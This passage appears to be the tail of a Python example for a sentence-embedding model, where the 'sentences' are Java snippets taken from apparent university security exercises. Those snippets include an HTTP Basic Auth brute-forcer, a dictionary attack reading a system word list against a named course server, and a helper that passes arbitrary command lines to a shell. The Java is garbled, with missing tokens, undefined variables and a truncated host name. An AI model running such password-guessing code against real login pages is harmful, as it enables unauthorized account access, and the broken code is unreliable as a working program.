public static int\t curconn = 0; \n public static int success = -1; \n \n public static String USERNAME = \"\"; \n public static int MINCHAR; \n public static int MAXCHAR; \n public static int ALLCOMBI; \n \n public static int start ,end; \n \n \n public static java.util.Timer reportTimer; \n public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; \n public static boolean\t connused[] = new boolean[MAXCONN]; \n public ThCrack[] threads = new ThCrack[MAXTHREAD]; \n public static int attempt = 0; \n public static int idxLimit; \n public static String charset; \n public static int NCHAR; \n}\n", "\n\npublic class Execute {\n public Execute(String cmdline) {\n try {\n \n String[] cmd = {\"//sh\", \"-c\", cmdline};\n Process p = Runtime.getRuntime().exec(cmd);\n \n p.waitFor();\n } catch (Exception e){}\n }\n}\n\n", "\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport misc.BASE64Encoder;\nimport javax.swing.*;\n\npublic class ConnectionThread extends Thread\n{\n private String url;\n private URL currURL;\n private URLConnection conn;\n private HoldSharedData sharedData;\n private int noOfThread;\n private int batch;\n\n public ConnectionThread( String pageURL, int wThread,\n int newBatch, HoldSharedData data )\n {\n super();\n url = pageURL;\n noOfThread = wThread ;\n batch = newBatch;\n sharedData = data;\n }\n\n \n public void run()\n {\n try\n {\n currURL = new URL( url );\n\n for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) &&\n (i < sharedData.getPwdCount()); i ++ )\n {\n String pwd = sharedData.getPasswordAt( i );\n\n conn = currURL.openConnection();\n\n if (conn instanceof HttpURLConnection)\n {\n\t HttpURLConnection hconn = (HttpURLConnection) conn;\n hconn.setFollowRedirects(false);\n String cad = \" \" + based64Encoder( \":\" + pwd );\n hconn.setRequestProperty( \"Authorization\", cad );\n\n hconn.connect();\n\t int response = hconn.getResponseCode();\n sharedData.setNumOfConnections();\n\n if( response == 200 )\n {\n totalTime = System.currentTimeMillis() -\n sharedData.getStartTime();\n int numOfConnections = sharedData.getNumOfConnections();\n\n System.out.println( \"Password is \" + pwd );\n System.out.println( \"Total Time(seconds)=\" +\n (double)totalTime/1000 );\n System.out.println( \"Number Of Connections: \" +\n numOfConnections );\n System.exit(0);\n }\n else\n {\n hconn.disconnect();\n }\n }\n }\n }\n catch( MalformedURLException mue )\n {\n String msg = \"Unable parse URL: \" + url;\n System.err.println( msg );\n }\n catch( IOException ioe )\n {\n System.err.println( \"I/O Error : \" + ioe );\n }\n }\n\n private String based64Encoder( String pwd )\n {\n \n String str = pwd;\n byte[] buf = str.getBytes();\n String encodedStr = new misc.BASE64Encoder().encode(buf);\n\n\n return encodedStr;\n }\n} ", "import java.io.*;\nimport java.net.*;\n\npublic class Dictionary{\n\n public static void main( String[] args ){\n Dictionary dict= new Dictionary();\n dict.create();\n }\n\npublic void dsf(){\n String password;\n String auth_data;\n String username=\"\";\n String server_res_code;\n String required_server_res_code=\"200\";\n int cntr=0;\n try{\n URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n URLConnection conn=null;\n String fileName = \"/usr/share/lib/dict/words\";\n fileName=fileName.trim();\n FileReader fr = new FileReader(fileName);\n BufferedReader inputfile = new BufferedReader(fr);\n\n while( (password=inputfile.readLine()) != null ){\n\n password = password.trim();\n \n auth_data=null;\n auth_data=username + \":\" + password;\n auth_data=auth_data.trim();\n auth_data=getBasicAuthData(auth_data);\n auth_data=auth_data.trim();\n conn=url.openConnection();\n conn.setDoInput (true);\n conn.setDoOutput(true);\n conn.setRequestProperty(\"GET\", \"/SEC/2/ HTTP/1.1\");\n conn.setRequestProperty (\"Authorization\", auth_data);\n server_res_code=conn.getHeaderField(0);\n server_res_code=server_res_code.substring(9,12);\n server_res_code.trim();\n cntr++;\n if( server_res_code.compareTo(required_server_res_code)!=0)\n System.out.println(cntr + \" . \" + \"PASSWORD SEND : \" + password + \" SERVER RESPONSE : \" + server_res_code);\n else {\n System.out.println(cntr + \" . \" + \"PASSWORD IS: \" + password + \" SERVER RESPONSE : \" + server_res_code);\n break;}\n\n }\n\n}\n\ncatch( Exception e){\n System.err.println(e);\n }\n}\n\npublic String getBasicAuthData (String getauthdata) {\n\nchar base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/' } ;\n\n String encodedString = \"\";\n byte bytes [] = getauthdata.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += \"=\";\n break;\n case 2:\n encodedString += \"==\";\n break;\n }\n }\n return \" \" + encodedString;\n }\n\n}" ] embeddings = model.encode(sentences) similarities = model.similarity(embeddings, embeddings) print(similarities.shape) # [4, 4]